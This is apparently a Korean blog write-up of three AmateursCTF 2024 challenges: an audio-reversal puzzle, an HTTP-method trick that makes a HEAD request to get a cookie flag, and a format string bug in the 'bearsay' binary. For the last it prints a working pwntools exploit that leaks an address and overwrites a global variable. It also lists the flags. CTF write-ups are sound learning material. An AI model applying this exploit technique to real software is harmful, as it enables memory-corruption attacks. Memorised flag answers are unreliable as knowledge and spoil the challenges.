2023년도에 참여한 아마추어 CTF가 2024년에도 돌아와서
CTF에 참여해 Write up을 작성합니다.
(이번에는 문제 난이도가 상승해 3문제 밖에 해결하지 못했습니다.)
Misc / densely-packed
가장먼저 몸풀기로 Misc 문제부터 시작했습니다.
문제의 설명을 보면
"상상력을 가지고 열심히 노력하면 무엇이든 웃는 것처럼 들리게 만들 수 있습니다."
라고 하는데 무슨뜻인지는 모르겠습니다.
일단 문제파일을 다운받아보면
음성파일이 존재하고
괴상한 소리만 출력하고 있습니다.
그런데 이러한 문제를 예전에 CTF-D에서 경험한적이 있습니다.
https://skysquirrel.tistory.com/178
[CTF-D] Three Thieves Threw Trumpets Through Trees Writeup
이번 문제는 Three Thieves Threw Trumpets Through Trees 문제입니다. 문제 내용의 힌트는 세 도둑이 나무사이로 트럼펫을 던졌다고 합니다. 무슨뜻을 가진 힌트인지 모르겠지만 일단 문제의 jpg 파일을 확
skysquirrel.tistory.com
바로 음성파일을 이리저리 꼬아서 재생시켜 만들어둔 문제입니다.
이번문제도 CTF-D 에서 겪은 문제처럼 음성편집기를 열어 음성파일을 반대로 뒤집고
소리의 배속을 0.5 배속으로 만들어보니
들을 수 있는 음성파일로 변경되었습니다.
(음성파일 자체는 저작권문제가 있어 올릴수 없었습니다.)
복원된 음성파일의
영어를 번역해보면
(듣기 평가를 피하고자 구글 번역기를 사용했습니다.)
FLAG는 역변환이며 두 단어 사이에 밑줄을 긋고 amateursCTF{}포맷으로
감싸면 된다는 것을 알려줍니다.
알려주는대로 FLAG를 포맷에 감싸 제출하면서 문제가 해결되었습니다.
amateursCTF{inverse_transformations}
Web / denied
다음 문제는 web 문제의 denied 입니다.
이번문제의 설명을 보면 어떤 options 이 가능한지를 묻고 있습니다.
먼저 문제사이트에 접속해보면
Bad! 를 출력하고 이외에 아무런 반응이 없습니다.
클라이언트에서 소스코드를 봐도
어떠한 스크립트 코드도 없는걸 확인 할 수 있습니다.
해서 문제에서 제공한 index.js파일을 확인해보면 다음과 같습니다.
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
if (req.method == "GET") return res.send("Bad!");
res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
res.send('Winner!')
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
클라이언트가 Get 메소드로 요청한 경우 res.send로 Bad!를 보내주는데
아닌 경우 res 클라이언트 측에 cookie를 셋팅해줍니다. 이때 쿠키의 값이 FLAG라고 합니다.
하지만, post의 경우로 전달을 시도해보려고 해도 post의 경우에는 지정된 코드가 없어
다음과 같은 에러가 발생합니다.
방법이 없나 찾다가 http의 method에는 Get과 Post말고도 다른 method가 있다는 것을
알게되었습니다.
http method를 키워드로 검색해보면
get, post 외에도 head, put, delete, connect, options 등 다양하게 존재했습니다.
그중에서 문제의 설명처럼 options가 method로 존재했기에
해당 method로 연결을 시도해보니
get, head가 출력되었습니다.
현재 GET외에 HEAD가 가능하다는 것을 의미하므로
HEAD로 다시 요청을 시도해보면
쿠키값으로 FLAG가 생성된 것을 확인 할 수 있습니다.
획득한 FLAG를 제출하면서 문제가 해결되었습니다.
amateursCTF{s0_m@ny_0ptions...}
Pwn / bearsay
다음은 pwn문제 bearsay 입니다.
문제파일을 다운받아보면 바이너리파일과 ld, lib파일을 제공해줍니다.
소스코드를 제공해주지 않았기에 IDA로 바이너리파일을 열어 확인해줍니다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
char v4; // al
char v5; // al
char v6; // al
char v7; // al
int v8; // [rsp+14h] [rbp-202Ch]
char *v9; // [rsp+18h] [rbp-2028h]
char *v10; // [rsp+20h] [rbp-2020h]
FILE *stream; // [rsp+28h] [rbp-2018h]
char s[4096]; // [rsp+30h] [rbp-2010h] BYREF
char v13[4104]; // [rsp+1030h] [rbp-1010h] BYREF
unsigned __int64 v14; // [rsp+2038h] [rbp-8h]
v14 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
v3 = __rdtsc();
srand(v3);
while ( 1 )
{
printf(&format);
fgets(s, 4096, stdin);
v9 = strchr(s, 10);
if ( v9 )
*v9 = 0;
if ( s[0] )
{
if ( !strcmp("flag", s) )
{
if ( is_mother_bear != 195890093 )
{
v6 = rand();
printf("ANGRY BEAR %s\n", (const char *)*(&bears + (v6 & 3)));
exit(1);
}
stream = fopen("./flag.txt", "r");
fgets(v13, 4096, stream);
fclose(stream);
box(124, 45, 2, v13);
puts("|\n|\n|");
v5 = rand();
puts((const char *)*(&bears + (v5 & 3)));
}
else
{
if ( !strcmp("leave", s) )
{
v7 = rand();
printf("lonely bear... %s\n", (const char *)*(&bears + (v7 & 3)));
exit(0);
}
if ( s[0] == 109 && s[1] == 111 && s[2] == 111 )
{
puts("no.");
exit(1);
}
v8 = strlen(s);
box(42, 42, 0, s);
rep(32, v8 / 2);
puts("|");
v10 = (char *)*(&bears + (rand() & 3));
rep(32, v8 / 2);
puts(v10);
}
}
else
{
v4 = rand();
printf("confused bear %s\n", (const char *)*(&bears + (v4 & 3)));
}
}
}
코드를 보면 flag파일을 읽어서 저장한뒤 출력하는 부분이 존재합니다.
즉, 쉘을 획득할 필요없이 해당 부분의 조건을 만족한다면 FLAG를 얻을 수 있습니다.
해당 조건은 flag라는 문자열을 전달하고
is_mother_bear의 값이 195890093 이어야 한다고 합니다.
이를 hex값으로 변경해보면 BAD0BAD 임을 알 수 있습니다.
현재로는 취약점이 어딘지 알수가 없으니 미뤄두고
다음코드로 넘어갑니다.
코드를 보면 leave를 입력하거나 moo를 입력하게 된다면 실행이 종료되는것을 알 수 있는데
그 외의 경우에는 box(42, 42, 0, s)로 사용자가 입력한 문자열이
box라는 함수로 들어가는 것을 확인 할 수 있습니다.
해당 함수의 코드를 보면
unsigned __int64 __fastcall box(char a1, char a2, int a3, const char *a4)
{
int i; // [rsp+2Ch] [rbp-14h]
int j; // [rsp+30h] [rbp-10h]
int v9; // [rsp+34h] [rbp-Ch]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]
v10 = __readfsqword(0x28u);
v9 = strlen(a4);
rep(a2, v9 + 4);
putchar(10);
for ( i = 0; i < a3; ++i )
{
putchar(a1);
rep(32, v9 + 2);
putchar(a1);
putchar(10);
}
putchar(a1);
putchar(32);
printf(a4);
putchar(32);
putchar(a1);
putchar(10);
for ( j = 0; j < a3; ++j )
{
putchar(a1);
rep(32, v9 + 2);
putchar(a1);
putchar(10);
}
rep(a2, v9 + 4);
putchar(10);
return v10 - __readfsqword(0x28u);
}
putchar로 값들을 출력하고 있는데 이때 출력되는 값들은
* 기호와 공백, 입력한 문자열을 박스형태로 포장해 출력하기 위한 코드임을 알 수 있습니다.
그런데 코드를 하나씩 보다보면 취약점이 존재합니다.
putchar(a1);
putchar(32);
printf(a4);
putchar(32);
putchar(a1);
putchar(10);
putchar로 은근슬쩍 가려두고 인자도 a4로 가려두었는데
printf가 포맷스트링을 지정하지 않고 사용자의 입력값인 s(a4)를 그대로 출력하고 있습니다.
이런 경우 FSB가 발생하게 됩니다.
실제로 %p를 입력해보면
주소가 출력되는 것을 확인할 수 있습니다.
FSB가 발생한다면 값 하나를 Leak한다음 is_mother_bear을 찾아
해당 값을 if조건문에 맞게 0xBAD0BAD로 변경후 flag를 전달한다면
FLAG를 획득할 수 있게됩니다.
먼저 AAAA를 입력했을때 값이 출력되는 위치와 is_mother_bear을 leak하기 위한 주소를 하나 찾아보면
is_mother_bear은 0x555~로 시작하니 비슷한 주소가 처음으로 출력되는 위치인 15번째값을 leak하고
해당 위치에서 offset 0x29cc를 확인해줍니다.
다음으로 AAAA를 입력했을때 출력되는 위치는 22번째임도 같이 확인해줍니다.
위 내용을 가지고 Exploit Code를 구성해보면 다음과 같이 구성할 수 있습니다.
from pwn import *
#p = process("./chal")
p = remote("chal.amt.rs", 1338)
context.log_level = "debug"
context.bits = 64
p.sendlineafter(b"say: ",b'%15$p')
p.recvuntil("* ")
leak = int(p.recvline()[:14],16)
log.info("leak: ", hex(leak))
mother_bear = leak + 0x29cc
log.info("mother_bear: ", hex(mother_bear))
fsb_payload = fmtstr_payload(22, {mother_bear : 195890093})
p.sendlineafter(b"say: ",fsb_payload)
p.sendline("flag")
p.interactive()
해당 코드를 실행시켜 보면
is_mother_bear 의 값이 0xBAD0BAD 이어야 한다는 조건을 만족해
flag 파일이 저장된 곳을 읽어 FLAG가 출력되었습니다.
획득한 FLAG를 제출하면서 문제가 해결되었습니다.
amateursCTF{bearsay_mooooooooooooooooooo?}
2024 04/11일로 CTF기간이 끝나 17일날 공개로 돌립니다.
'AmateursCTF' 카테고리의 다른 글
[AmateursCTF 2023] web/waiting-an-eternity Writeup (0) | 2023.07.15 |
---|